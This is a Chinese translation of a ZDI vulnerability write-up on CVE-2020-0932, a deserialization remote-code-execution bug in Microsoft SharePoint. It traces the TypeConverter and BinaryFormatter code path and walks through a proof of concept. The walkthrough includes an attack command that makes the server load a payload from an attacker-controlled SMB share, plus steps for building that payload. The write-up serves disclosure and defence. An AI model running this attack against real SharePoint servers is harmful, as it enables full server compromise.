CVE-2020-0932：Microsoft SHAREPOINT远程代码执行

大家好，欢迎来到IT知识分享网。

  翻译文章，原文：CVE-2020-0932: REMOTE CODE EXECUTION ON MICROSOFT SHAREPOINT USING TYPECONVERTERS[1]

2020年4月，Microsoft发布了四个关键级别和两个重要级别的补丁程序，以修复Microsoft SharePoint中的远程代码执行错误。所有这些都是反序列化错误。有两个来自ZDI计划的匿名研究者：CVE-2020-0931[2]和CVE-2020-0932[3]。该博客介绍了最后一个CVE， 也称为ZDI-20-468。让我们先来看一下实际的错误。

概述

此漏洞允许经过身份验证的用户在SharePoint服务器上执行任意代码。该代码将在SharePoint Web应用程序的服务帐户的上下文中执行。为了成功进行攻击，攻击者必须在SharePoint网站上或至少在网站的一个页面上具有“Add or Customize Pages”权限。但是，SharePoint的默认配置允许任何经过身份验证的用户创建具有所有必要权限的自己的网站。

漏洞

存在此漏洞是因为SharePoint在解析WebParts[4]的XML配置时不限制属性的可用类型。对于属性，攻击者可能会指定字符串和类型名称，SharePoint将尝试使用与指定类型相对应的 TypeConverter 来转换字符串。SharePoint库中存在的某些 TypeConverters 可用于任意代码执行。

此攻击的入口点是WebPartPages[5] Web服务，位于以下位置：

http://<Site>/_vti_bin/WebPartPages.asmx

在此Web服务的实现中，有几种方法可以解析XML WebParts配置，其中之一是RenderWebPartForEdit。请注意，RenderWebPartForEdit[6]作为WebMethod公开，因此可以通过HTTP请求来调用它：

下一个方法，webPartImporter.CreateWebPart(), 这个方法非常复杂，因为它为两种不同版本的XML配置实现了解析器，即WebPart/v2（.dwp）文件和WebPart/v3（.webpart）文件。我们的重点是.webpart文件的解析器。同样，此方法中的大部分代码专用于类型解析和WebPart本身的验证。但是，这与该攻击无关，因此在此不进行详细说明。

我们的XML Payload 传递给 ImportWebPartBase()。

这意味着所有属性元素都将通过 ImportWebPartFile.AddToProperyArrayLists() 处理:

在这一点上，我们控制两个关键字符串：text和xmlAttributeValue2。text 是属性元素的文本内容，而 xmlAttributeValue2 是元素的type属性。上面显示的代码根据 xmlAttributeValue2 选择一个.NET 类型，然后使用该 类型 的TypeConverter将文本转换为.NET对象实例（propValue）。

现在，我们调查可用的类型。

由于没有限制，因此我们可以使用任何所需的 Type。

为RCE选择TypeConverter

为了获得任意代码执行，我们将使用类型System.Resources.ResXFileRef及其类型转换器System.Resources.ResXFileRef.Converter：

这表明 System.Resources.ResXFileRef.Converter 将采用我们指定的字符串（值）并解析出两个数据。第一个，array[0]，被解释为 .resources 资源文件的路径。第二个，array[1], 被解释为任意.NET类型名称。上面显示的代码将实例化指定的Type，并将单个参数传递给构造函数。该参数将是一个包含我们指定的 .resources 文件内容的流。由于我们能够指定攻击者控制的SMB服务器的远程路径，因此我们可以完全控制流内容。

选择我们可以使用流参数实例化的类型

最后的挑战是要确定一个可用的.NET类型，该类型具有一个构造函数，该构造函数具有一个类型为Stream的单个参数，并且可以用于任意代码执行。一种可能的解决方案是 System.Resources.ResourceSet：

在这里，我们只对两行感兴趣：第一行和最后一行。第一行调用 System.Resources.ResourceReader 的构造函数：

这是非常有希望的，因为它正在获取Stream的内容并将其提供给BinaryFormatter。这很容易导致任意对象反序列化。

回顾一下 System.Resources.ResourceSet 构造函数的最后一行，并沿着代码执行的路径向下进行几个级别的调用：

这表明服务器将反序列化不受信任的数据，这使我们能够执行任意代码。

生成.resources文件

为了进行这次攻击，我们需要一个包含有效负载的.resources资源文件。我们可以使用Visual Studio创建所需的.resources文件。在编译时，Visual Studio使用资源文件生成器（Resgen.exe）将.resx文件转换为二进制资源（.resources）文件。要注入有效负载，我们可以编辑.resx文件，并用以下内容替换现有的数据节点：

现在，我们可以保存 *.resx 文件并编译当前项目。Visual Studio会将已编译的*.resources 文件放在 /obj 文件夹中。

PoC

为了演示此漏洞利用，我们将使用Windows Server 2019 Datacenter Server上安装的Microsoft SharePoint Server 2019和所有默认选项。我们已将计算机名称设置为sp2019.contoso.lab，并使其成为contoso.lab域的成员。域控制器位于单独的虚拟机上。我们添加了几个用户，其中包括 user2 作为常规非特权用户。

对于攻击者系统，我们需要任何受支持的网络浏览器。在以下屏幕截图中，我们正在使用Mozilla Firefox 69.0.3。我们还将使用我们的自定义SP_soap_RCE_PoC.exe应用程序发送攻击。您可以在此处[7]下载所有必需的文件，以自己尝试。对于不同的BinaryFormatter有效负载，您将需要YSoSerial.Net[8]。对于此演示，我们PoC中的硬编码有效载荷就足够了。

下一步是设置由攻击者控制的远程SMB服务器。这可以是可以从目标SharePoint服务器接收流量的任何计算机。在此服务器上，您将需要配置一个不需要身份验证的共享文件夹。这可能有些棘手，但是此处[9]详细介绍了执行此操作的步骤。在演示中，我们使用IP地址为192.168.50.210的Windows Server 2016 Standard。除了已列出的共享文件夹的步骤外，我们还在共享文件夹的“安全性”选项卡中添加了“所有人”，“访客”和“匿名登录”。

精明的读者可能想知道为什么SharePoint服务器同意访问匿名SMB共享。出于安全原因，Windows SMB客户端通常不允许这种操作。这是从Windows 10和Windows Server 2016的1709版开始引入的缓解措施[10]。答案是由于某种原因，SharePoint安装程序会通过注册表项关闭此缓解措施。在注册表项HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters 中，它将值 AllowInsecureGuestAuth 设置为 1。

创建并配置文件夹后，我们可以将 BinaryFormatter 的有效负载放置在该位置并继续进行攻击。在此演示中，我们将其命名为 SP_soap_RCE_PoC.RCE_Resource.resources。

首先，请访问我们的SharePoint Server并以普通用户身份进行身份验证。使用上面说的user2：

现在，我们已验证用户身份登录：

接下来，我们创建自己的网站，以便我们成为所有者并拥有所有权限。注意，如果攻击者无法创建自己的站点，他们仍然可以尝试所有现有的站点和页面，以尝试找到至少一个具有“添加或自定义”页面权限的站点。

单击顶部面板上的“SharePoint”：

点击 “+Create site” 链接:

对于此演示，我们选择 Team Site，但这并不重要。现在，我们需要为新站点选择一个名称。在这种情况下，我们使用 siteofuser2。

另外，我们将需要新站点的BaseURL。我们可以在下面显示的表单上的绿色 “Available” 标签上方看到它。在此示例中，它是 http//sp2019/sites/siteofuser2：

点击“Finish”, 然后将创建新站点：

现在，转到SharePoint服务器并打开 C:\windows\temp 文件夹。

我们注意到尚无Vuln_Server.txt文件。如果成功，我们的PoC将创建此文件。接下来，我们确认SP_soap_RCE_PoC.RCE_Resource.resources文件存在于受攻击者控制的SMB服务器上：

现在，让我们回到“攻击者”机器。我们将使用我们的自定义SP_soap_RCE_PoC.exe可执行文件进行攻击。我们需要提供以下信息作为参数：

— BaseUrl 指向SharePoint目标网站。这个例子中，网址是：http://sp2019/sites/siteofuser2/

— UserName 示例中式user2

— Password

— Domain

— Remote Path 指向我们的Payload文件

该命令最终看起来像这样：

SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources

SharePoint确实会报告一个错误，指出已指定了不安全的类型，但无论如何该攻击都是成功的。我们可以检查目标服务器上的Temp文件夹：

这显示了攻击者如何执行任意OS命令并危及整个服务器。要执行其他命令，您将需要生成自己的*.resource文件。这可以通过在任何文本编辑器中打开RCE_Resource.resx文件并将base64 BinaryFormatter有效负载替换为所需的负载来完成：

然后，您可以保存文件，在Visual Studio中打开项目并重建它。具有新有效负载的SP_soap_RCE_PoC.RCE_Resource.resources 文件将位于\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\ 文件夹中。

总结

根据Microsoft的说法，此漏洞是通过“更正SharePoint如何检查应用程序包的源标记”而修复的。有趣的是，所有六个SharePoint错误（包括“重要”错误）都具有完全相同的说法。供应商没有迹象表明为什么其中一些错误被评为“重要”，而另一些则被评为“严重”。因此，我们建议您将所有错误都视为“严重”。过去，SharePoint错误已被证明很受攻击者欢迎。在2019年，CVE-2019-0604[11]最终被广泛使用。时间会证明这个错误是否在网上被罪犯证明是受欢迎的。

References

[1] CVE-2020-0932: REMOTE CODE EXECUTION ON MICROSOFT SHAREPOINT USING TYPECONVERTERS: https://www.thezdi.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters

[2] CVE-2020-0931: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0931

[3] CVE-2020-0932: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0932

[4] WebParts: https://support.office.com/en-us/article/using-web-parts-on-sharepoint-pages-336e8e92-3e2d-4298-ae01-d404bbe751e0

[5] WebPartPages: https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-services/ms774788(v=office.12)

[6] RenderWebPartForEdit: https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-services/ms774825(v=office.12)

[7] 此处: https://github.com/thezdi/PoC/tree/master/CVE-2020-0932

[8] YSoSerial.Net: https://github.com/pwntester/ysoserial.net

[9] 此处: http://nikolar.com/2015/03/10/creating-network-share-with-anonymous-access/

[10] 缓解措施: https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser

[11] CVE-2019-0604: https://www.zerodayinitiative.com/blog/2019/12/18/looking-back-at-the-impact-of-cve-2019-0604-a-sharepoint-rce